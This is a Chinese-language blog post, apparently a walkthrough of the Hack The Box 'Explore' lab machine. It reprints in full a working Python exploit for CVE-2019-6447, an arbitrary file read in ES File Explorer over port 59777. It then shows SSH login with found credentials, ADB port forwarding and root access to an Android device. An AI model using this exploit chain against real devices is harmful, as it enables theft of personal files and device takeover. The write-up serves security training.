freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Hack the box -Explore通关记录
pony686 2021-10-17 15:07:45 130993

一信息收集:

1.nmap 10.10.10.247 //收集一下端口信息1634454126_616bca6ec279760cd5589.png!small?1634454127287

2.然后nmap -sS -sV - A -T5 -p- 10.10.10.247

1634454133_616bca75a8e0c954cf648.png!small?1634454134235

3.发现了 ES File Explorer Name Response httpd .然后去搜索:

42135端口存在“ ES File Explorer Name Response httpd”可利用漏洞,这个漏洞是任意文件读取漏洞,接下来就是通过这个漏洞去查找敏感文件,看看是否存在敏感信息,帮助我们getshell。

1634454141_616bca7d5136bf3d79f01.png!small?1634454142973

4.找到了exp:url地址:https://www.exploit-db.com/exploits/500701634454156_616bca8c827cba4df74ec.png!small?1634454157059

POC:

Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read

Date: 29/06/2021

Exploit Author: Nehal Zaman

Version: ES File Explorer v4.1.9.7.4

Tested on: Android

CVE : CVE-2019-6447

import requests
import json
import ast
import sys

if len(sys.argv) < 3:
print(f"USAGE {sys.argv[0]}   [file to download]")
sys.exit(1)

url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print("  listFiles         : List all Files.")
print("  listPics          : List all Pictures.")
print("  listVideos        : List all videos.")
print("  listAudios        : List all audios.")
print("  listApps          : List Applications installed.")
print("  listAppsSystem    : List System apps.")
print("  listAppsPhone     : List Communication related apps.")
print("  listAppsSdcard    : List apps on the SDCard.")
print("  listAppsAll       : List all Application.")
print("  getFile           : Download a file.")
print("  getDeviceInfo     : Get device info.")
sys.exit(1)

print("\n==================================================================")
print("|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |")
print("|                Coded By : Nehal a.k.a PwnerSec                 |")
print("==================================================================\n")

header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}

def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal_eval(response.text)

def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')

def do_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)

if cmd in listCmds:
do_listing(cmd)

elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved asout.dat.")

elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")

二、漏洞利用:

使用python x.py listPics + ip//列出所有图片1634454243_616bcae3ea79a9ecc0d45.png!small?1634454245015

详细用法:

$ python poc.py --cmd listVideos

$ python poc.py --cmd listFiles

$ python poc.py --cmd listFiles --network 192.168.1。

$ python poc.py --cmd listFiles --ip 192.168.4.17

$ python poc.py list

#####################

#可用命令#

#####################

listFiles:列出所有文件

listPics:列出所有图片

listVideos:列出所有视频

listAudios:列出所有音频files

listApps:列出所有已安装的应用

listAppsSystem:列出所有系统应用

listAppsPhone:列出所有手机应用

listAppsSdcard:列出 sdcard 中的所有 apk 文件

listAppsAll:列出所有已安装的应用(包括系统应用)

getDeviceInfo:获取设备信息

appPull :从设备中拉出一个应用程序。需要包名称参数

appLaunch:启动应用程序。需要包名参数

getAppThumbnail:获取应用的图标。需要包名参数

2.然后访问,发现某一个目录存在用户名和密码1634454263_616bcaf7d80a2c527a1bf.png!small?1634454264909

3.使用ssh 用户+ip +端口进行访问,测试之后发现是一个低权限用户。1634454273_616bcb0121832d0750658.png!small?1634454273752

三、提权

1.先安装adb工具:

apt-get install android-tools-adb1634454285_616bcb0db360daf1c19da.png!small?1634454286431

2.然后使用ssh -L 5555:localhost:5555 kristi@10.10.10.247 -p 2222做端口转发1634454294_616bcb16a958dedf68211.png!small?1634454295173

3.然后使用adb connect 127.0.0.1:5555 进行连接

由于这台 Android 连接着 sd 卡,那么应该是开启着 ADB 调试桥的,尝试直接使用 ADB 进行破解

1634454308_616bcb24254610b39c6ee.png!small?1634454308737

4.进行shell连接,然后执行whoami,发现是root权限1634454318_616bcb2e7cb27d65bceaa.png!small?1634454319105

5.搜索 root.txt 文件,在 data 目录下找到,成功拿到 SYSTEM OWN 的 FLAG。1634454328_616bcb382a3e6cc49ee26.png!small?1634454328951

总结:

漏洞简介

ES文件浏览器在启动时创建了一个HTTP服务器,在本地打开了59777端口。攻击者通过构造指定的payload可以获取用户手机文件,安装apk等操作。

影响范围:

4.1.9.7.4 and below(部分版本可能不支持,也可能和应用市场有关)

漏洞分析:

CVE-2019-6447影响的ES应用版本为4.1.9.7.4以下,但是在某些版本的应用该漏洞却无法利用,,向59777端口发送payload一直会回复500 ERROR报错。

参考链接:

https://www.freebuf.com/vuls/195069.html

# 渗透测试 # web安全 # 系统安全 # 漏洞分析 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 pony686 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
红队攻防演练
pony686 LV.6
公众号:亿人安全
  • 64 文章数
  • 427 关注者
Java安全之红队面试详解之servlet 内存马原理分析和POC编写和查杀
2025-03-25
记一次域内渗透实战之Cragty
2025-03-10
JAVA安全——红队面试常问问题之Shrio漏洞详解
2025-03-06
文章目录